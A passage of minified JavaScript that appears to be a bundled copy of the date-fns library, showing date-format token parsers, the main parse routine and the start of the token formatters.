e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",100),Re(ge(e),\"incompatibleTokens\",[\"y\",\"R\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"I\",\"d\",\"D\",\"i\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"w\":return Ve(Le.week,e);case\"wo\":return n.ordinalNumber(e,{unit:\"week\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=53}},{key:\"set\",value:function(e,t,n,r){return Je(ft(e,n,r),r)}}]),n}(Be);function ht(e){te(1,arguments);var t=ne(e),n=t.getUTCFullYear(),r=new Date(0);r.setUTCFullYear(n+1,0,4),r.setUTCHours(0,0,0,0);var a=nt(r),o=new Date(0);o.setUTCFullYear(n,0,4),o.setUTCHours(0,0,0,0);var i=nt(o);return t.getTime()>=a.getTime()?n+1:t.getTime()>=i.getTime()?n:n-1}function vt(e){te(1,arguments);var t=ht(e),n=new Date(0);n.setUTCFullYear(t,0,4),n.setUTCHours(0,0,0,0);var r=nt(n);return r}var mt=6048e5;function gt(e){te(1,arguments);var t=ne(e),n=nt(t).getTime()-vt(t).getTime();return Math.round(n\u002Fmt)+1}function yt(e,t){te(2,arguments);var n=ne(e),r=ee(t),a=gt(n)-r;return n.setUTCDate(n.getUTCDate()-7*a),n}var bt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",100),Re(ge(e),\"incompatibleTokens\",[\"y\",\"Y\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"w\",\"d\",\"D\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"I\":return Ve(Le.week,e);case\"Io\":return n.ordinalNumber(e,{unit:\"week\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=53}},{key:\"set\",value:function(e,t,n){return nt(yt(e,n))}}]),n}(Be),$t=[31,28,31,30,31,30,31,31,30,31,30,31],wt=[31,29,31,30,31,30,31,31,30,31,30,31],_t=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"subPriority\",1),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"Q\",\"w\",\"I\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"d\":return Ve(Le.date,e);case\"do\":return n.ordinalNumber(e,{unit:\"date\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){var n=e.getUTCFullYear(),r=Ke(n),a=e.getUTCMonth();return r?t>=1&&t\u003C=wt[a]:t>=1&&t\u003C=$t[a]}},{key:\"set\",value:function(e,t,n){return e.setUTCDate(n),e.setUTCHours(0,0,0,0),e}}]),n}(Be),kt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"subpriority\",1),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"Q\",\"M\",\"L\",\"w\",\"I\",\"d\",\"E\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"D\":case\"DD\":return Ve(Le.dayOfYear,e);case\"Do\":return n.ordinalNumber(e,{unit:\"date\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){var n=e.getUTCFullYear(),r=Ke(n);return r?t>=1&&t\u003C=366:t>=1&&t\u003C=365}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(0,n),e.setUTCHours(0,0,0,0),e}}]),n}(Be);function Ct(e,t,n){var r,a,o,i,l,s,u,d;te(2,arguments);var c=Ze(),f=ee(null!==(r=null!==(a=null!==(o=null!==(i=null===n||void 0===n?void 0:n.weekStartsOn)&&void 0!==i?i:null===n||void 0===n||null===(l=n.locale)||void 0===l||null===(s=l.options)||void 0===s?void 0:s.weekStartsOn)&&void 0!==o?o:c.weekStartsOn)&&void 0!==a?a:null===(u=c.locale)||void 0===u||null===(d=u.options)||void 0===d?void 0:d.weekStartsOn)&&void 0!==r?r:0);if(!(f>=0&&f\u003C=6))throw new RangeError(\"weekStartsOn must be between 0 and 6 inclusively\");var p=ne(e),h=ee(t),v=p.getUTCDay(),m=h%7,g=(m+7)%7,y=(g\u003Cf?7:0)+h-v;return p.setUTCDate(p.getUTCDate()+y),p}var xt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"incompatibleTokens\",[\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"E\":case\"EE\":case\"EEE\":return n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"});case\"EEEEE\":return n.day(e,{width:\"narrow\",context:\"formatting\"});case\"EEEEEE\":return n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"});case\"EEEE\":default:return n.day(e,{width:\"wide\",context:\"formatting\"})||n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=6}},{key:\"set\",value:function(e,t,n,r){return e=Ct(e,n,r),e.setUTCHours(0,0,0,0),e}}]),n}(Be),St=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"incompatibleTokens\",[\"y\",\"R\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"I\",\"d\",\"D\",\"E\",\"i\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n,r){var a=function(e){var t=7*Math.floor((e-1)\u002F7);return(e+r.weekStartsOn+6)%7+t};switch(t){case\"e\":case\"ee\":return Fe(He(t.length,e),a);case\"eo\":return Fe(n.ordinalNumber(e,{unit:\"day\"}),a);case\"eee\":return n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"});case\"eeeee\":return n.day(e,{width:\"narrow\",context:\"formatting\"});case\"eeeeee\":return n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"});case\"eeee\":default:return n.day(e,{width:\"wide\",context:\"formatting\"})||n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=6}},{key:\"set\",value:function(e,t,n,r){return e=Ct(e,n,r),e.setUTCHours(0,0,0,0),e}}]),n}(Be),Et=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"incompatibleTokens\",[\"y\",\"R\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"I\",\"d\",\"D\",\"E\",\"i\",\"e\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n,r){var a=function(e){var t=7*Math.floor((e-1)\u002F7);return(e+r.weekStartsOn+6)%7+t};switch(t){case\"c\":case\"cc\":return Fe(He(t.length,e),a);case\"co\":return Fe(n.ordinalNumber(e,{unit:\"day\"}),a);case\"ccc\":return n.day(e,{width:\"abbreviated\",context:\"standalone\"})||n.day(e,{width:\"short\",context:\"standalone\"})||n.day(e,{width:\"narrow\",context:\"standalone\"});case\"ccccc\":return n.day(e,{width:\"narrow\",context:\"standalone\"});case\"cccccc\":return n.day(e,{width:\"short\",context:\"standalone\"})||n.day(e,{width:\"narrow\",context:\"standalone\"});case\"cccc\":default:return n.day(e,{width:\"wide\",context:\"standalone\"})||n.day(e,{width:\"abbreviated\",context:\"standalone\"})||n.day(e,{width:\"short\",context:\"standalone\"})||n.day(e,{width:\"narrow\",context:\"standalone\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=6}},{key:\"set\",value:function(e,t,n,r){return e=Ct(e,n,r),e.setUTCHours(0,0,0,0),e}}]),n}(Be);function Tt(e,t){te(2,arguments);var n=ee(t);n%7===0&&(n-=7);var r=1,a=ne(e),o=a.getUTCDay(),i=n%7,l=(i+7)%7,s=(l\u003Cr?7:0)+n-o;return a.setUTCDate(a.getUTCDate()+s),a}var Rt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"incompatibleTokens\",[\"y\",\"Y\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"w\",\"d\",\"D\",\"E\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return 0===e?7:e};switch(t){case\"i\":case\"ii\":return He(t.length,e);case\"io\":return n.ordinalNumber(e,{unit:\"day\"});case\"iii\":return Fe(n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"}),r);case\"iiiii\":return Fe(n.day(e,{width:\"narrow\",context:\"formatting\"}),r);case\"iiiiii\":return Fe(n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"}),r);case\"iiii\":default:return Fe(n.day(e,{width:\"wide\",context:\"formatting\"})||n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"}),r)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=7}},{key:\"set\",value:function(e,t,n){return e=Tt(e,n),e.setUTCHours(0,0,0,0),e}}]),n}(Be),Ot=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",80),Re(ge(e),\"incompatibleTokens\",[\"b\",\"B\",\"H\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"a\":case\"aa\":case\"aaa\":return n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"aaaaa\":return n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"aaaa\":default:return n.dayPeriod(e,{width:\"wide\",context:\"formatting\"})||n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"set\",value:function(e,t,n){return e.setUTCHours(Ye(n),0,0,0),e}}]),n}(Be),Mt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",80),Re(ge(e),\"incompatibleTokens\",[\"a\",\"B\",\"H\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"b\":case\"bb\":case\"bbb\":return n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"bbbbb\":return n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"bbbb\":default:return n.dayPeriod(e,{width:\"wide\",context:\"formatting\"})||n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"set\",value:function(e,t,n){return e.setUTCHours(Ye(n),0,0,0),e}}]),n}(Be),At=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",80),Re(ge(e),\"incompatibleTokens\",[\"a\",\"b\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"B\":case\"BB\":case\"BBB\":return n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"BBBBB\":return n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"BBBB\":default:return n.dayPeriod(e,{width:\"wide\",context:\"formatting\"})||n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"set\",value:function(e,t,n){return e.setUTCHours(Ye(n),0,0,0),e}}]),n}(Be),Dt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",70),Re(ge(e),\"incompatibleTokens\",[\"H\",\"K\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"h\":return Ve(Le.hour12h,e);case\"ho\":return n.ordinalNumber(e,{unit:\"hour\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=12}},{key:\"set\",value:function(e,t,n){var r=e.getUTCHours()>=12;return r&&n\u003C12?e.setUTCHours(n+12,0,0,0):r||12!==n?e.setUTCHours(n,0,0,0):e.setUTCHours(0,0,0,0),e}}]),n}(Be),Bt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",70),Re(ge(e),\"incompatibleTokens\",[\"a\",\"b\",\"h\",\"K\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"H\":return Ve(Le.hour23h,e);case\"Ho\":return n.ordinalNumber(e,{unit:\"hour\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=23}},{key:\"set\",value:function(e,t,n){return e.setUTCHours(n,0,0,0),e}}]),n}(Be),Wt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",70),Re(ge(e),\"incompatibleTokens\",[\"h\",\"H\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"K\":return Ve(Le.hour11h,e);case\"Ko\":return n.ordinalNumber(e,{unit:\"hour\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=11}},{key:\"set\",value:function(e,t,n){var r=e.getUTCHours()>=12;return r&&n\u003C12?e.setUTCHours(n+12,0,0,0):e.setUTCHours(n,0,0,0),e}}]),n}(Be),Pt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",70),Re(ge(e),\"incompatibleTokens\",[\"a\",\"b\",\"h\",\"H\",\"K\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"k\":return Ve(Le.hour24h,e);case\"ko\":return n.ordinalNumber(e,{unit:\"hour\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=24}},{key:\"set\",value:function(e,t,n){var r=n\u003C=24?n%24:n;return e.setUTCHours(r,0,0,0),e}}]),n}(Be),It=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",60),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"m\":return Ve(Le.minute,e);case\"mo\":return n.ordinalNumber(e,{unit:\"minute\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=59}},{key:\"set\",value:function(e,t,n){return e.setUTCMinutes(n,0,0),e}}]),n}(Be),Nt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",50),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"s\":return Ve(Le.second,e);case\"so\":return n.ordinalNumber(e,{unit:\"second\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=59}},{key:\"set\",value:function(e,t,n){return e.setUTCSeconds(n,0),e}}]),n}(Be),Lt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",30),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){var n=function(e){return Math.floor(e*Math.pow(10,3-t.length))};return Fe(He(t.length,e),n)}},{key:\"set\",value:function(e,t,n){return e.setUTCMilliseconds(n),e}}]),n}(Be),jt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",10),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\",\"x\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){switch(t){case\"X\":return Ue(je.basicOptionalMinutes,e);case\"XX\":return Ue(je.basic,e);case\"XXXX\":return Ue(je.basicOptionalSeconds,e);case\"XXXXX\":return Ue(je.extendedOptionalSeconds,e);case\"XXX\":default:return Ue(je.extended,e)}}},{key:\"set\",value:function(e,t,n){return t.timestampIsSet?e:new Date(e.getTime()-n)}}]),n}(Be),Ft=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",10),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\",\"X\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){switch(t){case\"x\":return Ue(je.basicOptionalMinutes,e);case\"xx\":return Ue(je.basic,e);case\"xxxx\":return Ue(je.basicOptionalSeconds,e);case\"xxxxx\":return Ue(je.extendedOptionalSeconds,e);case\"xxx\":default:return Ue(je.extended,e)}}},{key:\"set\",value:function(e,t,n){return t.timestampIsSet?e:new Date(e.getTime()-n)}}]),n}(Be),Vt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",40),Re(ge(e),\"incompatibleTokens\",\"*\"),e}return Te(n,[{key:\"parse\",value:function(e){return Xe(e)}},{key:\"set\",value:function(e,t,n){return[new Date(1e3*n),{timestampIsSet:!0}]}}]),n}(Be),Ut=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",20),Re(ge(e),\"incompatibleTokens\",\"*\"),e}return Te(n,[{key:\"parse\",value:function(e){return Xe(e)}},{key:\"set\",value:function(e,t,n){return[new Date(n),{timestampIsSet:!0}]}}]),n}(Be),Xt={G:new We,y:new qe,Y:new tt,R:new rt,u:new at,Q:new ot,q:new it,M:new lt,L:new st,w:new pt,I:new bt,d:new _t,D:new kt,E:new xt,e:new St,c:new Et,i:new Rt,a:new Ot,b:new Mt,B:new At,h:new Dt,H:new Bt,K:new Wt,k:new Pt,m:new It,s:new Nt,S:new Lt,X:new jt,x:new Ft,t:new Vt,T:new Ut},Ht=\u002F[yYQqMLwIdDecihHKkms]o|(\\w)\\1*|''|'(''|[^'])+('|$)|.\u002Fg,Gt=\u002FP+p+|P+|p+|''|'(''|[^'])+('|$)|.\u002Fg,Yt=\u002F^'([^]*?)'?$\u002F,zt=\u002F''\u002Fg,Kt=\u002F\\S\u002F,qt=\u002F[a-zA-Z]\u002F;function Qt(e,t,n,r){var a,o,i,s,u,c,f,p,h,v,m,g,y,b,$,w,_,k;te(3,arguments);var C=String(e),x=String(t),S=Ze(),E=null!==(a=null!==(o=null===r||void 0===r?void 0:r.locale)&&void 0!==o?o:S.locale)&&void 0!==a?a:J;if(!E.match)throw new RangeError(\"locale must contain match property\");var T=ee(null!==(i=null!==(s=null!==(u=null!==(c=null===r||void 0===r?void 0:r.firstWeekContainsDate)&&void 0!==c?c:null===r||void 0===r||null===(f=r.locale)||void 0===f||null===(p=f.options)||void 0===p?void 0:p.firstWeekContainsDate)&&void 0!==u?u:S.firstWeekContainsDate)&&void 0!==s?s:null===(h=S.locale)||void 0===h||null===(v=h.options)||void 0===v?void 0:v.firstWeekContainsDate)&&void 0!==i?i:1);if(!(T>=1&&T\u003C=7))throw new RangeError(\"firstWeekContainsDate must be between 1 and 7 inclusively\");var R=ee(null!==(m=null!==(g=null!==(y=null!==(b=null===r||void 0===r?void 0:r.weekStartsOn)&&void 0!==b?b:null===r||void 0===r||null===($=r.locale)||void 0===$||null===(w=$.options)||void 0===w?void 0:w.weekStartsOn)&&void 0!==y?y:S.weekStartsOn)&&void 0!==g?g:null===(_=S.locale)||void 0===_||null===(k=_.options)||void 0===k?void 0:k.weekStartsOn)&&void 0!==m?m:0);if(!(R>=0&&R\u003C=6))throw new RangeError(\"weekStartsOn must be between 0 and 6 inclusively\");if(\"\"===x)return\"\"===C?ne(n):new Date(NaN);var O,M={firstWeekContainsDate:T,weekStartsOn:R,locale:E},A=[new De],D=x.match(Gt).map(function(e){var t=e[0];if(t in de){var n=de[t];return n(e,E.formatLong)}return e}).join(\"\").match(Ht),B=[],W=d(D);try{var P=function(){var t=O.value;null!==r&&void 0!==r&&r.useAdditionalWeekYearTokens||!ve(t)||me(t,x,e),null!==r&&void 0!==r&&r.useAdditionalDayOfYearTokens||!he(t)||me(t,x,e);var n=t[0],a=Xt[n];if(a){var o=a.incompatibleTokens;if(Array.isArray(o)){var i=B.find(function(e){return o.includes(e.token)||e.token===n});if(i)throw new RangeError(\"The format string mustn't contain `\".concat(i.fullToken,\"` and `\").concat(t,\"` at the same time\"))}else if(\"*\"===a.incompatibleTokens&&B.length>0)throw new RangeError(\"The format string mustn't contain `\".concat(t,\"` and any other token at the same time\"));B.push({token:n,fullToken:t});var l=a.run(C,t,E.match,M);if(!l)return{v:new Date(NaN)};A.push(l.setter),C=l.rest}else{if(n.match(qt))throw new RangeError(\"Format string contains an unescaped latin alphabet character `\"+n+\"`\");if(\"''\"===t?t=\"'\":\"'\"===n&&(t=Zt(t)),0!==C.indexOf(t))return{v:new Date(NaN)};C=C.slice(t.length)}};for(W.s();!(O=W.n()).done;){var I=P();if(\"object\"===l(I))return I.v}}catch(G){W.e(G)}finally{W.f()}if(C.length>0&&Kt.test(C))return new Date(NaN);var N=A.map(function(e){return e.priority}).sort(function(e,t){return t-e}).filter(function(e,t,n){return n.indexOf(e)===t}).map(function(e){return A.filter(function(t){return t.priority===e}).sort(function(e,t){return t.subPriority-e.subPriority})}).map(function(e){return e[0]}),L=ne(n);if(isNaN(L.getTime()))return new Date(NaN);var j,F=ae(L,ce(L)),V={},U=d(N);try{for(U.s();!(j=U.n()).done;){var X=j.value;if(!X.validate(F,M))return new Date(NaN);var H=X.set(F,V,M);Array.isArray(H)?(F=H[0],oe(V,H[1])):F=H}}catch(G){U.e(G)}finally{U.f()}return F}function Zt(e){return e.match(Yt)[1].replace(zt,\"'\")}function Jt(e){return te(1,arguments),e instanceof Date||\"object\"===l(e)&&\"[object Date]\"===Object.prototype.toString.call(e)}function en(e){if(te(1,arguments),!Jt(e)&&\"number\"!==typeof e)return!1;var t=ne(e);return!isNaN(Number(t))}function tn(e,t){te(2,arguments);var n=ne(e),r=ee(t);return n.setHours(r),n}function nn(e,t){te(2,arguments);var n=ne(e),r=ee(t);return n.setMinutes(r),n}function rn(e,t){te(2,arguments);var n=ne(e),r=ee(t);return n.setSeconds(r),n}function an(e,t){te(2,arguments);var n=ne(e),r=ee(t);return n.setMilliseconds(r),n}function on(e,t){te(2,arguments);var n=ne(e),r=ne(t);return n.getTime()\u003Cr.getTime()}function ln(e,t){te(2,arguments);var n=ne(e),r=ne(t);return n.getTime()===r.getTime()}function sn(e,t){te(2,arguments);var n=ne(e),r=ne(t);return n.getTime()>r.getTime()}var un=864e5;function dn(e){te(1,arguments);var t=ne(e),n=t.getTime();t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0);var r=t.getTime(),a=n-r;return Math.floor(a\u002Fun)+1}function cn(e,t){var n=e\u003C0?\"-\":\"\",r=Math.abs(e).toString();while(r.length\u003Ct)r=\"0\"+r;return n+r}var fn={y:function(e,t){var n=e.getUTCFullYear(),r=n>0?n:1-n;return cn(\"yy\"===t?r%100:r,t.length)},M:function(e,t){var n=e.getUTCMonth();return\"M\"===t?String(n+1):cn(n+1,2)},d:function(e,t){return cn(e.getUTCDate(),t.length)},a:function(e,t){var n=e.getUTCHours()\u002F12>=1?\"pm\":\"am\";switch(t){case\"a\":case\"aa\":return n.toUpperCase();case\"aaa\":return n;case\"aaaaa\":return n[0];case\"aaaa\":default:return\"am\"===n?\"a.m.\":\"p.m.\"}},h:function(e,t){return cn(e.getUTCHours()%12||12,t.length)},H:function(e,t){return cn(e.getUTCHours(),t.length)},m:function(e,t){return cn(e.getUTCMinutes(),t.length)},s:function(e,t){return cn(e.getUTCSeconds(),t.length)},S:function(e,t){var n=t.length,r=e.getUTCMilliseconds(),a=Math.floor(r*Math.pow(10,n-3));return cn(a,t.length)}},pn=fn,hn={am:\"am\",pm:\"pm\",midnight:\"midnight\",noon:\"noon\",morning:\"morning\",afternoon:\"afternoon\",evening:\"evening\",night:\"night\"},vn={G:function(e,t,n){var r=e.getUTCFullYear()>0?1:0;switch(t){case\"G\":case\"GG\":case\"GGG\":return n.era(r,{width:\"abbreviated\"});case\"GGGGG\":return n.era(r,{width:\"narrow\"});case\"GGGG\":default:return n.era(r,{width:\"wide\"})}},y:function(e,t,n){if(\"yo\"===t){var r=e.getUTCFullYear(),a=r>0?r:1-r;return n.ordinalNumber(a,{unit:\"year\"})}return pn.y(e,t)},Y:function(e,t,n,r){var a=et(e,r),o=a>0?a:1-a;if(\"YY\"===t){var i=o%100;return cn(i,2)}return\"Yo\"===t?n.ordinalNumber(o,{unit:\"year\"}):cn(o,t.length)},R:function(e,t){var n=ht(e);return cn(n,t.length)},u:function(e,t){var n=e.getUTCFullYear();return cn(n,t.length)},Q:function(e,t,n){var r=Math.ceil((e.getUTCMonth()+1)\u002F3);switch(t){case\"Q\":return String(r);case\"QQ\":return cn(r,2);case\"Qo\":return n.ordinalNumber(r,{unit:\"quarter\"});case\"QQQ\":return n.quarter(r,{width:\"abbreviated\",context:\"formatting\"});case\"QQQQQ\":return n.quarter(r,{width:\"narrow\",context:\"formatting\"});case\"QQQQ\":default:return n.quarter(r,{width:\"wide\",context:\"formatting\"})}},q:function(e,t,n){var r=Math.ceil((e.getUTCMonth()+1)\u002F3);switch(t){case\"q\":return String(r);case\"qq\":return cn(r,2);case\"qo\":return n.ordinalNumber(r,{unit:\"quarter\"});case\"qqq\":return n.quarter(r,{width:\"abbreviated\",context:\"standalone\"});case\"qqqqq\":return n.quarter(r,{width:\"narrow\",context:\"standalone\"});case\"qqqq\":default:return n.quarter(r,{width:\"wide\",context:\"standalone\"})}},M:function(e,t,n){var r=e.getUTCMonth();switch(t){case\"M\":case\"MM\":return pn.M(e,t);case\"Mo\":return n.ordinalNumber(r+1,{unit:\"month\"});case\"MMM\":return n.month(r,{width:\"abbreviated\",context:\"formatting\"});case\"MMMMM\":return n.month(r,{width:\"narrow\",context:\"formatting\"});case\"MMMM\":default:return n.month(r,{width:\"wide\",context:\"formatting\"})}},L:function(e,t,n){var r=e.getUTCMonth();switch(t){case\"L\":return String(r+1);case\"LL\":return cn(r+1,2);case\"Lo\":return 